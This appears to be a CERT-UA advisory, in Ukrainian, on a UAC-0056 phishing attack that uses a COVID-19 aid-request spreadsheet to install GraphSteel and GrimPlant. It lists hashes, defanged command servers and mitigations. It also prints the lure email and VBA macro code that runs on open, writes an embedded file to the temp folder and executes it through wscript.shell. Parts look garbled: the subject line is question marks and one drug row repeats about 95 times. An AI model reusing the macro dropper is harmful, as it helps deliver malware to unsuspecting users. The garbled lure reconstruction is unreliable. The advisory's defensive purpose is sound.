

Кібератака групи UAC-0056 з використанням шкідливих програм GraphSteel і GrimPlant та тематики COVID-19 (CERT-UA#4545)

Загальна інформація:

Урядовою командою реагування на комп'ютерні надзвичайні події України CERT-UA від суб'єкту координації отримано електронний лист із вкладенням у вигляді XLS-документу "Aid request COVID-19-04_5_22.xls", що містить макрос. У випадку активації макросу, останній здійснить декодування пейлоаду, що знаходиться в прихованому аркуші документу, а також створення на диску і запуск Go-завантажувача. В подальшому, на комп'ютер будуть завантажені та виконані шкідливі програми GraphSteel (дата компіляції: 2022-04-21) та GrimPlant.

Звертаємо увагу на той факт, що розсилання електронних листів здійснено зі скомпрометованого облікового запису співробітника державного органу України.

Активність асоційовано з діяльністю групи UAC-0056.

Індикатори компрометації:

Файли:

0895c2181b8a04145b00a395da5b18dc	
8cdd84285c936da43cf7c4506b6372a4806b0a90d3db29a72eaa7626dc83896b	Aid
request COVID-19-04_5_22.xls	
539a3b02f2f29b8c62353f729e636813	
ed448b9c4e604c7c6531864ac023cdd8865affab409d581db66281179532fc69	
base_update.exe (Go-downloader)	
1f4233970e9dead730db799b19b1d1f7	
f2a09b611b6fca3e82b8c3098abc35929779685a9e3f851a6acf4040be002f41	java-
sdk.exe (Go-downloader)	
eee2f9fab737eef8884e0b9432055edc	
47a734e624dac47b9043606c8833001dde8f341d71f77129da2eade4e02b3878	
microsoft-cortana.exe (2022-04-21) (GraphSteel)	
425e69953feda05c25bb5c922f23ac6e	
aca731d34c3e99d07af79847db369409e92e387520e44285608f18877b3a1d79	
oracle-java.exe (GrimPlant)	

Мережеві:

hxxps://212[.]192.246.115/i
hxxps://212[.]192.246.115/m
hxxps://212[.]192.246.115/p
ws://212[.]192.246.115:443/c
212[.]192.246.115

Хостові:

%USERPROFILE%\java-sdk\java-sdk.exe
%USERPROFILE%\java-sdk\microsoft-cortana.exe
%USERPROFILE%\java-sdk\oracle-java.exe

Рекомендації:

1. Вжити заходів з налаштування двофакторної автентифікації для облікових записів електронної пошти.
2. Заборонити офісним програмам (EXCEL.EXE, WINWORD.EXE тощо) створювати небезпечні процеси (наприклад, rundll32.exe, wscript.exe та інші).

Графічні зображення:

От: Отправл

Кому:

Копия:

Тема: ??????? ? ?????????? ??? COVID-19

Сообщение: Aid request COVID-19-04_5_22.xls (9 Мбайт)

Шановні колеги!
 Ознайомтеся зі зведеною інформацією наявності медикаментів для забезпечення лікарської терапії при захворюванні коронавірусною інфекцією SARS-CoV-2 та оцініть потребу в додатковому постачанні. У листі необхідно додати заявку на отримання відсутніх медикаментів згідно з наданим переліком найменувань.
 Заявка оформлюється у довільній формі. У ній зазначається найменування препаратів та їх кількість, виходячи з розрахункової річної потреби на підставі рекомендацій ВООЗ, які надсилалися раніше. Забороняється оформлювати заявки на медикаменти з метою створення довготривалих запасів. Заявка завіряється керівником місцевого відділення охорони здоров'я.

```
Private Sub Workbook_Open()
Call Update_data
End Sub
```

№	Назва	Кількість	Відомості
1	Аспірин	1000	...
2	Ібупрофен	500	...
3	Парацетамол	2000	...
4	Діазепам	100	...
5	Лідокаїн	500	...
6	Амлодіпін	100	...
7	Лісинапін	100	...
8	Сінімет	100	...
9	Сінімет	100	...
10	Сінімет	100	...
11	Сінімет	100	...
12	Сінімет	100	...
13	Сінімет	100	...
14	Сінімет	100	...
15	Сінімет	100	...
16	Сінімет	100	...
17	Сінімет	100	...
18	Сінімет	100	...
19	Сінімет	100	...
20	Сінімет	100	...
21	Сінімет	100	...
22	Сінімет	100	...
23	Сінімет	100	...
24	Сінімет	100	...
25	Сінімет	100	...
26	Сінімет	100	...
27	Сінімет	100	...
28	Сінімет	100	...
29	Сінімет	100	...
30	Сінімет	100	...
31	Сінімет	100	...
32	Сінімет	100	...
33	Сінімет	100	...
34	Сінімет	100	...
35	Сінімет	100	...
36	Сінімет	100	...
37	Сінімет	100	...
38	Сінімет	100	...
39	Сінімет	100	...
40	Сінімет	100	...
41	Сінімет	100	...
42	Сінімет	100	...
43	Сінімет	100	...
44	Сінімет	100	...
45	Сінімет	100	...
46	Сінімет	100	...
47	Сінімет	100	...
48	Сінімет	100	...
49	Сінімет	100	...
50	Сінімет	100	...
51	Сінімет	100	...
52	Сінімет	100	...
53	Сінімет	100	...
54	Сінімет	100	...
55	Сінімет	100	...
56	Сінімет	100	...
57	Сінімет	100	...
58	Сінімет	100	...
59	Сінімет	100	...
60	Сінімет	100	...
61	Сінімет	100	...
62	Сінімет	100	...
63	Сінімет	100	...
64	Сінімет	100	...
65	Сінімет	100	...
66	Сінімет	100	...
67	Сінімет	100	...
68	Сінімет	100	...
69	Сінімет	100	...
70	Сінімет	100	...
71	Сінімет	100	...
72	Сінімет	100	...
73	Сінімет	100	...
74	Сінімет	100	...
75	Сінімет	100	...
76	Сінімет	100	...
77	Сінімет	100	...
78	Сінімет	100	...
79	Сінімет	100	...
80	Сінімет	100	...
81	Сінімет	100	...
82	Сінімет	100	...
83	Сінімет	100	...
84	Сінімет	100	...
85	Сінімет	100	...
86	Сінімет	100	...
87	Сінімет	100	...
88	Сінімет	100	...
89	Сінімет	100	...
90	Сінімет	100	...
91	Сінімет	100	...
92	Сінімет	100	...
93	Сінімет	100	...
94	Сінімет	100	...
95	Сінімет	100	...
96	Сінімет	100	...
97	Сінімет	100	...
98	Сінімет	100	...
99	Сінімет	100	...
100	Сінімет	100	...

```
Public filename As String
Public AttachDate As Date
Public FileSize As Long

Public FileRange As Range
Public Parent As AttachedFiles
Const BYTES_PER_CELL& = 500

Sub Run ()
On Error Resume Next

tmpPath$ = Environ("temp") & "\\" & filename

If Me.SaveAs(tmpPath$) Then CreateObject("wscript.shell").Run """" & tmpPath$ & """"
End Sub
```

```
Sub Update_data()
' Dim FileManager As New AttachedFiles
' On Error Resume Next
' FileManager.GetAttachment("notepad.exe").Run

Dim FileManager As New AttachedFiles, File As AttachedFile, res As Boolean

filename$ = ThisWorkbook.Sheets(3).Range("B1"): If filename$ = "" Then Exit Sub

If Not FileManager.AttachmentExist(filename$) Then
MsgBox "Вложение с именем «" & filename$ & "» не найдено в текущей книге Excel", vbCritical
Exit Sub
End If

FileManager.GetAttachment(filename$).Run

End Sub
```